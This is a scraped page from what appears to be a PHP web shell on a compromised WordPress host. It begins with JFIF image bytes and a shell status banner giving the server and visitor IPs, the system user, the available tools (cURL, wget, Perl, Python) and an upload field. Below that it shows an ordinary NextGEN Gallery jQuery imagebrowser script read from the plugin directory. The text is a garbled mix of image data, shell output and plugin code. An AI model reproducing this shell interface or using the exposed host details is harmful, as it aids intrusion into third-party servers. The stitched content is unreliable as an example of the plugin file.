????JFIF??x?x????'
| Server IP : 172.67.174.47 / Your IP : 216.73.216.113 Web Server : LiteSpeed System : Linux premium151.web-hosting.com 4.18.0-553.44.1.lve.el8.x86_64 #1 SMP Thu Mar 13 14:29:12 UTC 2025 x86_64 User : tempvsty ( 647) PHP Version : 8.0.30 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : OFF | Pkexec : OFF Directory : /././proc/self/cwd/wp-content/plugins/nextgen-gallery/static/Thumbnails/ |
Upload File : |
jQuery(function($) {
var ngg_imagebrowser_init = function() {
var imagebrowser_links = $('a.use_imagebrowser_effect');
imagebrowser_links.on('click', function(e) {
e.preventDefault();
var success = true;
var $this = $(this);
var image_id = $this.attr('data-image-id');
var image_slug = $this.attr('data-image-slug');
var image_url = $this.attr('data-imagebrowser-url');
var url = window.location.toString();
url = url.split('/' + photocrati_ajax.ngg_param_slug + '/').shift();
if (url.substr(-1) === '/')
url = url.substr(0, url.length - 1);
image_id = image_slug ? image_slug : image_id;
try {
if (!image_id)
image_id = parseInt($this.parents('.ngg-gallery-thumbnail-box').attr('id').match(/\d+/).join(''));
} catch (ex) {
success = false;
}
if (success) {
url = image_url.replace('%STUB%', image_id);
/* TODO: Remove this entire chunk. It should be unecessary.
// Custom permalinks are disabled. So we have to redirect to /index.php/nggallery/image/n?qs=1
if (photocrati_ajax.wp_root_url.indexOf('index.php') >= 0) {
url = photocrati_ajax.wp_root_url + "/" + photocrati_ajax.ngg_param_slug + "/image/" + image_id;
if (window.location.toString().indexOf('?') >= 0)
url += '?'+window.location.toString().split('?').pop();
} else {
// Just append the slug
url += "/" + photocrati_ajax.ngg_param_slug + "/image/" + image_id;
} */
window.location = url;
}
});
// Unregister any onclick handlers added after the above has executed to avoid conflicts
if (imagebrowser_links.length > 0) {
setTimeout(function() {
imagebrowser_links.each(function() {
this.onclick = null;
});
}, 200);
}
};
$(this).on('refreshed', ngg_imagebrowser_init);
ngg_imagebrowser_init();
});